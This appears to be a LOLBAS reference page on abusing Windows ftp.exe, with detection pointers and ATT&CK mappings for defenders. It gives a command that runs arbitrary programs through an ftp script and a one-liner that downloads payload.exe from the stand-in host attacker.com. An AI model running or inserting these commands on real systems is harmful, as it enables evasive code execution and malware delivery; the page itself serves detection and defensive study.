



.. /Ftp.exe

☆ Star 7,060

Execute Download

A binary designed for connecting to FTP servers

Paths:

C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe

Resources:

- <https://twitter.com/OxAmit/status/1070063130636640256>
- <https://medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939>
- <https://ss64.com/nt/ftp.html>
- <https://www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/>

Acknowledgements:

- Casey Smith ([@subtee](#))
- BennyHusted
- Amit Serper ([@0xAmit](#))

Detections:

- Sigma: [proc_creation_win_lolbin_ftp.yml](#)
- IOC: cmd /c as child process of ftp.exe

Execute

Executes the commands you put inside the text file.

```
echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt
```

Use case: Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand
Privileges required: User
Operating systems: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: [T1202: Indirect Command Execution](#)

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```
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
```

Use case: Spawn new process using ftp.exe. Ftp.exe downloads the binary.
Privileges required: User
Operating systems: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: [T1105: Ingress Tool Transfer](#)